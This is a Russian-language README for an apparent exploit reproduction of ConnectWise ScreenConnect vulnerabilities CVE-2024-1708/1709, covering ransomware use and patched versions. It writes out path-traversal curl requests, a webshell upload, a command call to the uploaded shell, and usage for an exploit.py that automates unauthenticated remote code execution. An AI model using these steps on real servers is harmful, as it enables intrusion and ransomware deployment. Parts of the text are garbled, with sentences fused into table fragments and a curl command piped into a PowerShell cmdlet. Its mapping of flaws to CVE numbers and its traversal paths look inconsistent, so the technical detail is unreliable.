Воспроизведение cve-2024-1708-connectwise_rce_reproduction
Оценка CVSS: 8.4 (CVE-2024-1708) – 10.0 (CVE-2024-1709)
CWE: CWE-22 (Path Traversal), CWE-288 (Обход аутентификации с использованием альтернативного пути)
Затронутое ПО: ConnectWise ScreenConnect (ранее ScreenConnect) ≤ 23.9.7
Обнаружено и сообщено: февраль 2024 года
Эксплуатировалось в дикой природе: LockBit, Black Basta, Bl00dy и другие филиалы программ-вымогателей
CVE-2024-1708 и CVE-2024-1709 — это связка из двух уязвимостей в ConnectWise ScreenConnect (ранее ConnectWise Control), которые вместе позволяют неаутентифицированному удалённому злоумышленнику добиться полного удалённого выполнения кода на сервере ScreenConnect.
CVE-2024-1708 — Обход аутентификации через Path Traversal. Конечная точка SetupWizard.aspx (и связанные с ней конечные точки установки/обновления) не выполняет надлежащую санитизацию пользовательских последовательностей обхода пути (../). Неаутентифицированный злоумышленник может выйти за пределы предназначенного каталога установки и получить доступ к конечным точкам, которые должны требовать аутентификацию. Поскольку мастер запускается в контексте учётной записи SYSTEM (Windows) или root (Linux), злоумышленник наследует повышенные привилегии.
CVE-2024-1709 — Неограниченная загрузка файла, приводящая к RCE. После обхода аутентификации злоумышленник может загрузить произвольный .aspx или другой исполняемый файл в корень веб-приложения. Затем, запросив загруженный файл, он выполняет произвольный код на сервере.
Эти уязвимости массово эксплуатировались начиная с 19 февраля 2024 года несколькими группами программ-вымогателей:
| Группа программ-вымогателей | Особенности кампании |
|---|---|
| LockBit | Широкое сканирование экземпляров ScreenConnect; использовалось для последующего развёртывания шифровальщика LockBit. |
| Black Basta | Использовала доступ к MSP для перехода во внутренние сети управляемых клиентов. |
| Bl00dy | Кампании меньшего масштаба, направленные на незапатченные серверы ScreenConnect. |
Поскольку ScreenConnect обычно разворачивается поставщиками управляемых услуг (MSP) для удалённого управления сотнями конечных точек клиентов, один скомпрометированный сервер ScreenConnect позволяет провести атаку на цепочку поставок — под угрозой оказывается каждый клиент, агент которого подключён к этому серверу ScreenConnect.
Сервер ScreenConnect предоставляет мастер установки по адресу:
/SetupWizard.aspx/
В определённых состояниях обновления/восстановления сервер не применяет аутентификацию, поскольку предполагает, что мастер установки — это интерфейс первого запуска. Критический недостаток заключается в том, как сервер обрабатывает cookie __Session или заголовки Transfer-Encoding / Content-Type при доступе к путям в пространстве имён мастера.
Отправив запрос на:
/SetupWizard.aspx/../../ScreenConnect/Login.aspx
обход пути отменяет контекст «мастера установки», в то время как сервер по-прежнему считает применимым контекст неаутентифицированной сессии. Злоумышленник перенаправляется или получает страницы так, как если бы он был аутентифицирован.
Альтернативный вектор: обработчики PrepareUpgrade.aspx / PostUpgrade.aspx аналогичным образом не имеют проверок аутентификации и предоставляют функциональность загрузки файлов.
Как только злоумышленник достигает аутентифицированной конечной точки (или напрямую обращается к обработчику загрузки файлов в контексте установки), он может загрузить вредоносный веб-шелл .aspx:
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="file"; filename="shell.aspx"
Content-Type: application/octet-stream
<%@ Page Language="C#" %>...
------BOUNDARY--
Файл записывается в каталог веб-приложения (например, C:\Program Files\ScreenConnect\Website\). Запрос загруженного шелла выполняет его в контексте учётной записи сервера.
SetupWizard.aspx доверяет тому, что любой запрос в пределах его маршрута является частью процесса установки и должен обходить аутентификацию, — но обход пути разрушает это допущение.../ или обхода символьных ссылок.| Диапазон версий | Статус |
|---|---|
| 23.9.7 и ниже | Уязвимы |
| 23.9.8 | Исправлено (выпущено 20 февраля 2024 г.) |
| 23.9.9 | Исправлено |
| 23.9.10 (актуальная) | Исправлено |
Примечание: Основными целями являются самостоятельно размещённые (on-premise) серверы ScreenConnect. Экземпляры ScreenConnect, размещённые в ConnectWise (облачные), были исправлены до публичного раскрытия и никогда не были уязвимы.
C:\Program Files\ScreenConnect\/opt/screenconnect/# Проверка версии
curl -s http://<target>:8040/ | Select-String "ScreenConnect"
Или откройте веб-интерфейс и обратите внимание на номер версии в исходном коде страницы.
curl -v --path-as-is "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/Login.aspx"
Ожидаемое поведение на уязвимом сервере:
curl -X POST "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx" \
-H "Content-Type: multipart/form-data; boundary=----BOUNDARY" \
-F "[email protected]"
curl "http://<target>:8040/shell.aspx?cmd=whoami"
Прилагаемый скрипт exploit.py автоматизирует описанные выше шаги:
usage: exploit.py [-h] -t TARGET [-p PORT] [-c COMMAND] [--ssl]
Exploit CVE-2024-1708/1709 - ConnectWise ScreenConnect Auth Bypass + RCE
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target hostname or IP
-p PORT, --port PORT Target port (default: 8040)
-c COMMAND, --command COMMAND
Command to execute (default: whoami)
--ssl Use HTTPS
Example:
python exploit.py -t 192.168.1.100 -p 8040 -c "whoami"
$ python exploit.py -t 192.168.1.100 -c "whoami"